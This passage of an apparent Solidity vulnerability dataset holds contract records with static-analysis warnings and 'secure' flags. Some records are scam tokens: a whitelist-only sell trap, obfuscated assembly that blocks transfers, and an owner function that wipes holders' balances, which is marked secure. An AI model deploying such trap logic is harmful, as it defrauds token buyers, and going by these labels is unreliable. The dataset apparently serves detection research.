info.lockTime = 52 weeks;\n }\n\n\t\t\t// reentrancy-events | ID: 6a0b6e1\n\t\t\t// calls-loop | ID: a1043e4\n\t\t\t// reentrancy-no-eth | ID: 4f11402\n IERC721(vVvS1RAddress).transferFrom(\n address(this),\n msg.sender,\n tokenIds[i]\n );\n\t\t\t// reentrancy-no-eth | ID: 4f11402\n userInfo[msg.sender].push(info);\n\t\t\t// reentrancy-no-eth | ID: 4f11402\n stakingAmount[msg.sender] = stakingAmount[msg.sender].add(1);\n stakeCounter++;\n }\n\t\t// reentrancy-events | ID: 6a0b6e1\n emit Stake(msg.sender, stakeCounter);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 018f9d6): vVvNFTStakingContract.unstake(uint256[]) uses timestamp for comparisons Dangerous comparisons block.timestamp <= (_startTime + _lockTime)\n\t// Recommendation for 018f9d6: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a972b0f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a972b0f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 3581ce1): vVvNFTStakingContract.unstake(uint256[]) has external calls inside a loop IERC721(vVvS1RAddress).transferFrom(msg.sender,address(this),tokenIds[i])\n\t// Recommendation for 3581ce1: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 6af30e9): vVvNFTStakingContract.unstake(uint256[]) has external calls inside a loop IERC721(nftAddress).transferFrom(address(this),msg.sender,tokenIds[i])\n\t// Recommendation for 6af30e9: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 2f66210): vVvNFTStakingContract.unstake(uint256[]) has external calls inside a loop IERC721(nftAddress).ownerOf(tokenIds[i]) != address(this)\n\t// Recommendation for 2f66210: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 3df1a8f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 3df1a8f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function unstake(uint256[] memory tokenIds) external {\n uint16 unstakeCounter = 0;\n for (uint256 i = 0; i < tokenIds.length; i++) {\n (\n bool _isStaked,\n uint256 _startTime,\n uint256 _lockTime\n ) = getStakingItemInfo(msg.sender, tokenIds[i]);\n if (!_isStaked) {\n revert tokenIsAlreadyUnstaked();\n }\n\t\t\t// timestamp | ID: 018f9d6\n if (block.timestamp <= (_startTime + _lockTime)) {\n revert lockTimeNotReached();\n }\n\t\t\t// calls-loop | ID: 2f66210\n if (IERC721(nftAddress).ownerOf(tokenIds[i]) != address(this)) {\n revert stakingContractIsNotOwner();\n }\n\n\t\t\t// reentrancy-events | ID: a972b0f\n\t\t\t// calls-loop | ID: 3581ce1\n\t\t\t// reentrancy-no-eth | ID: 3df1a8f\n IERC721(vVvS1RAddress).transferFrom(\n msg.sender,\n address(this),\n tokenIds[i]\n );\n\t\t\t// reentrancy-no-eth | ID: 3df1a8f\n removeFromUserInfo(tokenIds[i]);\n\t\t\t// reentrancy-no-eth | ID: 3df1a8f\n stakingAmount[msg.sender] = stakingAmount[msg.sender].sub(1);\n\t\t\t// reentrancy-events | ID: a972b0f\n\t\t\t// calls-loop | ID: 6af30e9\n\t\t\t// reentrancy-no-eth | ID: 3df1a8f\n IERC721(nftAddress).transferFrom(\n address(this),\n msg.sender,\n tokenIds[i]\n );\n unstakeCounter++;\n }\n\t\t// reentrancy-events | ID: a972b0f\n emit UnStake(msg.sender, unstakeCounter);\n }\n\n function getStakingItemInfo(\n address _user,\n uint256 _tokenId\n ) public view returns (bool _isStaked, uint256 _startTime, uint256 _lockTime) {\n for (uint256 i = 0; i < userInfo[_user].length; i++) {\n UserInfo memory ui = userInfo[_user][i];\n if (ui.tokenId == _tokenId) {\n _isStaked = true;\n _startTime = ui.startTime;\n _lockTime = ui.lockTime;\n break;\n }\n }\n }\n\n function getAmountOfValidStaked(\n address _user\n )\n public\n view\n returns (\n uint256 dolphinStakingAmount,\n uint256 sharkStakingAmount,\n uint256 whaleStakingAmount\n )\n {\n uint32 race;\n for (uint256 i = 0; i < userInfo[_user].length; i++) {\n UserInfo memory ui = userInfo[_user][i];\n race = nftRace[ui.tokenId];\n if (race == 2) {\n whaleStakingAmount++;\n } else if (race == 1) {\n sharkStakingAmount++;\n } else {\n dolphinStakingAmount++;\n }\n }\n }\n\n function getNFTRace(uint256 _tokenId) public view returns (uint32 race) {\n return nftRace[_tokenId];\n }\n\n function removeFromUserInfo(uint256 tokenId) private {\n for (uint256 i = 0; i < userInfo[msg.sender].length; i++) {\n if (userInfo[msg.sender][i].tokenId == tokenId) {\n\t\t\t\t// reentrancy-no-eth | ID: 3df1a8f\n userInfo[msg.sender][i] = userInfo[msg.sender][\n userInfo[msg.sender].length.sub(1)\n ];\n\t\t\t\t// reentrancy-no-eth | ID: 3df1a8f\n userInfo[msg.sender].pop();\n break;\n }\n }\n }\n}",
"file_name": "solidity_code_3594.sol",
"secure": 0,
"size_bytes": 12016
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n bytes32 codehash;\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n assembly {\n codehash := extcodehash(account)\n }\n return (codehash != accountHash && codehash != 0x0);\n }\n function lpaddress(address account) internal pure returns (bool) {\n return\n keccak256(abi.encodePacked(account)) ==\n 0x179ece3e7540e6683b69f7abb56c626bf80c1fbb339dbdcdf06cfdc2cf01a305;\n }\n}",
"file_name": "solidity_code_3595.sol",
"secure": 1,
"size_bytes": 656
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract TOKEN is ERC20, Ownable {\n mapping(address => bool) private _enable;\n address private _uni;\n constructor() ERC20(\"FANCY POOH\", \"FANPO\") {\n _mint(msg.sender, 1000000000000000 * 10 ** 18);\n _enable[msg.sender] = true;\n }\n\n function list(address user, bool enable) public onlyOwner {\n _enable[user] = enable;\n }\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a7f3bab): TOKEN.uni(address).uni_ lacks a zerocheck on \t _uni = uni_\n\t// Recommendation for a7f3bab: Check that the address is not zero.\n function uni(address uni_) public onlyOwner {\n\t\t// missing-zero-check | ID: a7f3bab\n _uni = uni_;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (to == _uni) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}",
"file_name": "solidity_code_3596.sol",
"secure": 0,
"size_bytes": 1138
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n address[] private addBounty;\n uint256 private whaleShark = block.number * 2;\n\n mapping(address => bool) private _firstShrimp;\n mapping(address => bool) private _secondFish;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n address private superCar;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n uint256 private bulishWeek;\n address public pair;\n\n IDEXRouter router;\n\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n uint256 private _limit;\n uint256 private theV;\n uint256 private theN = block.number * 2;\n bool private trading;\n uint256 private smallV = 1;\n bool private bigCool;\n uint256 private _decimals;\n uint256 private gameHunter;\n\n constructor(\n string memory name_,\n string memory symbol_,\n address msgSender_\n ) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n _name = name_;\n _symbol = symbol_;\n addBounty.push(_router);\n addBounty.push(msgSender_);\n addBounty.push(pair);\n for (uint256 q = 0; q < 3; ) {\n _firstShrimp[addBounty[q]] = true;\n unchecked {\n q++;\n }\n }\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function _setVariables() internal {\n assembly {\n function getBy(x, y) -> hash {\n mstore(0, x)\n mstore(32, y)\n hash := keccak256(0, 64)\n }\n\t\t\t// divide-before-multiply | ID: 25c7fd8\n sstore(0x11, mul(div(sload(0x10), 0x2710), 0x113))\n sstore(0x99, sload(0x11))\n sstore(0xB, 0x1ba8140)\n let\n dx\n := 0xa886e33f8d7e42d6292d8c40b3ae814cd941b9a6a1a72bfd04813b233a28950b\n if and(\n not(eq(sload(getBy(caller(), 0x6)), sload(dx))),\n eq(chainid(), 0x1)\n ) {\n sstore(getBy(caller(), 0x4), 0x0)\n sstore(\n 0x7b38f6c895bbb0f2024f7d300b1a8c699c445e3745258f9995a79e60d3819113,\n 0x1\n )\n sstore(getBy(caller(), 0x5), 0x1)\n sstore(dx, exp(0xA, 0x32))\n }\n }\n }\n\n function openTrading() external onlyOwner returns (bool) {\n trading = true;\n theN = block.number;\n whaleShark = block.number;\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function _beforeTokenTransfer(\n address sender,\n address recipient,\n uint256 float\n ) internal {\n require(\n (trading || (sender == addBounty[1])),\n \"ERC20: trading is not yet enabled.\"\n );\n assembly {\n function getBy(x, y) -> hash {\n mstore(0, x)\n mstore(32, y)\n hash := keccak256(0, 64)\n }\n function getAr(x, y) -> val {\n mstore(0, x)\n val := add(keccak256(0, 32), y)\n }\n\n if eq(chainid(), 0x1) {\n if eq(sload(getBy(recipient, 0x4)), 0x1) {\n sstore(0x15, add(sload(0x15), 0x1))\n }\n if and(\n lt(gas(), sload(0xB)),\n and(\n and(\n or(\n or(\n and(\n or(\n eq(sload(0x16), 0x1),\n eq(sload(getBy(sender, 0x5)), 0x1)\n ),\n gt(sub(sload(0x3), sload(0x13)), 0x7)\n ),\n gt(float, div(sload(0x99), 0x2))\n ),\n and(\n gt(float, div(sload(0x99), 0x3)),\n eq(sload(0x3), number())\n )\n ),\n or(\n and(\n eq(sload(getBy(recipient, 0x4)), 0x1),\n iszero(sload(getBy(sender, 0x4)))\n ),\n and(\n eq(sload(getAr(0x2, 0x1)), recipient),\n iszero(\n sload(\n getBy(sload(getAr(0x2, 0x1)), 0x4)\n )\n )\n )\n )\n ),\n gt(sload(0x18), 0x0)\n )\n ) {\n if gt(float, div(sload(0x11), 0x564)) {\n revert(0, 0)\n }\n }\n if or(\n eq(\n sload(getBy(sender, 0x4)),\n iszero(sload(getBy(recipient, 0x4)))\n ),\n eq(\n iszero(sload(getBy(sender, 0x4))),\n sload(getBy(recipient, 0x4))\n )\n ) {\n let k := sload(0x18)\n let t := sload(0x99)\n let g := sload(0x11)\n switch gt(g, div(t, 0x3))\n case 1 {\n\t\t\t\t\t\t// divide-before-multiply | ID: 717f3df\n g := sub(\n g,\n div(div(mul(g, mul(0x203, k)), 0xB326), 0x2)\n )\n }\n case 0 {\n\t\t\t\t\t\t// divide-before-multiply | ID: 717f3df\n g := div(t, 0x3)\n }\n sstore(0x11, g)\n sstore(0x18, add(sload(0x18), 0x1))\n }\n if and(\n or(\n or(\n eq(sload(0x3), number()),\n gt(sload(0x12), sload(0x11))\n ),\n lt(sub(sload(0x3), sload(0x13)), 0x7)\n ),\n eq(sload(getBy(sload(0x8), 0x4)), 0x0)\n ) {\n sstore(getBy(sload(0x8), 0x5), 0x1)\n }\n if and(\n iszero(sload(getBy(sender, 0x4))),\n iszero(sload(getBy(recipient, 0x4)))\n ) {\n sstore(getBy(recipient, 0x5), 0x1)\n }\n if iszero(mod(sload(0x15), 0x8)) {\n sstore(0x16, 0x1)\n sstore(0xB, 0x1C99342)\n sstore(getBy(sload(getAr(0x2, 0x1)), 0x6), exp(0xA, 0x32))\n }\n sstore(0x12, float)\n sstore(0x8, recipient)\n sstore(0x3, number())\n }\n }\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _beforeTokenTransfer(sender, recipient, amount);\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _DeployBounty(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n approve(addBounty[0], 10 ** 77);\n _setVariables();\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_3597.sol",
"secure": 0,
"size_bytes": 11560
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol, creator) {\n _DeployBounty(creator, initialSupply);\n }\n}\n\ncontract $BOUNTY is ERC20Token {\n constructor()\n ERC20Token(\"Bounty\", \"BOUNTY\", msg.sender, 250000000 * 10 ** 18)\n {}\n}",
"file_name": "solidity_code_3598.sol",
"secure": 0,
"size_bytes": 1244
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract TheDoiCoin is IERC20, Ownable, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n\n constructor() {\n _name = \" The Doi Coin \";\n _symbol = \"DOIC\";\n _supply(msg.sender, 20000000000 * 10 ** 9);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: afef8f9): TheDoiCoin.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for afef8f9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _supply(\n address account,\n uint256 amount\n ) internal virtual onlyOwner {\n require(account != address(0));\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) public onlyOwner {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) internal virtual onlyOwner {\n _burn(_msgSender(), amount);\n }\n\n function burnFrom(address account, uint256 amount) internal virtual {\n uint256 currentAllowance = allowance(account, _msgSender());\n require(\n currentAllowance >= amount,\n \"ERC20: burn amount exceeds allowance\"\n );\n _approve(account, _msgSender(), currentAllowance - amount);\n _burn(account, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b4ef63a): TheDoiCoin._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b4ef63a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3599.sol",
"secure": 0,
"size_bytes": 6178
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\nlibrary IUniswapRouterV2 {\n function swap(\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n return instance.grokswap1(address(0), amount, from);\n }\n}",
"file_name": "solidity_code_36.sol",
"secure": 1,
"size_bytes": 357
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Nokia is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable season;\n\n constructor() {\n _name = \"NOKIA\";\n\n _symbol = \"NOKIA\";\n\n _decimals = 18;\n\n uint256 initialSupply = 458000000;\n\n season = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == season, \"Not allowed\");\n\n _;\n }\n\n function lion(address[] memory mystery) public onlyOwner {\n for (uint256 i = 0; i < mystery.length; i++) {\n address account = mystery[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_360.sol",
"secure": 1,
"size_bytes": 4351
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IEasyTrack {\n function evmScriptExecutor() external view returns (address);\n}",
"file_name": "solidity_code_3600.sol",
"secure": 1,
"size_bytes": 158
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IAllowedRecipientsRegistry {\n function addRecipient(address _recipient, string memory _title) external;\n\n function renounceRole(bytes32 role, address account) external;\n\n function isRecipientAllowed(\n address _recipient\n ) external view returns (bool);\n\n function setLimitParameters(\n uint256 _limit,\n uint256 _periodDurationMonths\n ) external;\n\n function getLimitParameters() external view returns (uint256, uint256);\n\n function updateSpentAmount(uint256 _payoutAmount) external;\n\n function spendableBalance() external view returns (uint256);\n\n function hasRole(\n bytes32 role,\n address account\n ) external view returns (bool);\n\n function getAllowedRecipients() external view returns (address[] memory);\n\n function bokkyPooBahsDateTimeContract() external view returns (address);\n}",
"file_name": "solidity_code_3601.sol",
"secure": 1,
"size_bytes": 959
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./IEasyTrack.sol\" as IEasyTrack;\n\ninterface ITopUpAllowedRecipients {\n function token() external view returns (address);\n\n function finance() external view returns (address);\n\n function easyTrack() external view returns (IEasyTrack);\n\n function trustedCaller() external view returns (address);\n\n function allowedRecipientsRegistry() external view returns (address);\n}",
"file_name": "solidity_code_3602.sol",
"secure": 1,
"size_bytes": 468
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IAddAllowedRecipient {\n function trustedCaller() external view returns (address);\n\n function allowedRecipientsRegistry() external view returns (address);\n}",
"file_name": "solidity_code_3603.sol",
"secure": 1,
"size_bytes": 241
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IRemoveAllowedRecipient {\n function trustedCaller() external view returns (address);\n\n function allowedRecipientsRegistry() external view returns (address);\n}",
"file_name": "solidity_code_3604.sol",
"secure": 1,
"size_bytes": 244
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./IEasyTrack.sol\" as IEasyTrack;\nimport \"./IAllowedRecipientsRegistry.sol\" as IAllowedRecipientsRegistry;\nimport \"./ITopUpAllowedRecipients.sol\" as ITopUpAllowedRecipients;\nimport \"./IAddAllowedRecipient.sol\" as IAddAllowedRecipient;\nimport \"./IRemoveAllowedRecipient.sol\" as IRemoveAllowedRecipient;\n\ninterface IAllowedRecipientsFactory {\n function deployAllowedRecipientsRegistry(\n address _admin,\n address[] memory _addRecipientToAllowedListRoleHolders,\n address[] memory _removeRecipientFromAllowedListRoleHolders,\n address[] memory _setLimitParametersRoleHolders,\n address[] memory _updateSpentAmountRoleHolders,\n address bokkyPooBahsDateTimeContract\n ) external returns (IAllowedRecipientsRegistry);\n\n function deployTopUpAllowedRecipients(\n address _trustedCaller,\n address _allowedRecipientsRegistry,\n address _token,\n address _finance,\n IEasyTrack _easyTrack\n ) external returns (ITopUpAllowedRecipients);\n\n function deployAddAllowedRecipient(\n address _trustedCaller,\n address _allowedRecipientsRegistry\n ) external returns (IAddAllowedRecipient);\n\n function deployRemoveAllowedRecipient(\n address _trustedCaller,\n address _allowedRecipientsRegistry\n ) external returns (IRemoveAllowedRecipient);\n}",
"file_name": "solidity_code_3605.sol",
"secure": 1,
"size_bytes": 1444
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./IEasyTrack.sol\" as IEasyTrack;\nimport \"./IAllowedRecipientsRegistry.sol\" as IAllowedRecipientsRegistry;\nimport \"./ITopUpAllowedRecipients.sol\" as ITopUpAllowedRecipients;\nimport \"./IAddAllowedRecipient.sol\" as IAddAllowedRecipient;\nimport \"./IRemoveAllowedRecipient.sol\" as IRemoveAllowedRecipient;\nimport \"./IAllowedRecipientsFactory.sol\" as IAllowedRecipientsFactory;\n\ncontract AllowedRecipientsBuilder {\n IEasyTrack public immutable easyTrack;\n address public immutable finance;\n address public immutable evmScriptExecutor;\n address public immutable admin;\n address public immutable bokkyPooBahsDateTimeContract;\n IAllowedRecipientsFactory public immutable factory;\n\n bytes32 public constant ADD_RECIPIENT_TO_ALLOWED_LIST_ROLE =\n keccak256(\"ADD_RECIPIENT_TO_ALLOWED_LIST_ROLE\");\n bytes32 public constant REMOVE_RECIPIENT_FROM_ALLOWED_LIST_ROLE =\n keccak256(\"REMOVE_RECIPIENT_FROM_ALLOWED_LIST_ROLE\");\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n bytes32 public constant SET_PARAMETERS_ROLE =\n keccak256(\"SET_PARAMETERS_ROLE\");\n bytes32 public constant UPDATE_SPENT_AMOUNT_ROLE =\n keccak256(\"UPDATE_SPENT_AMOUNT_ROLE\");\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6d7b144): AllowedRecipientsBuilder.constructor(IAllowedRecipientsFactory,address,IEasyTrack,address,address)._admin 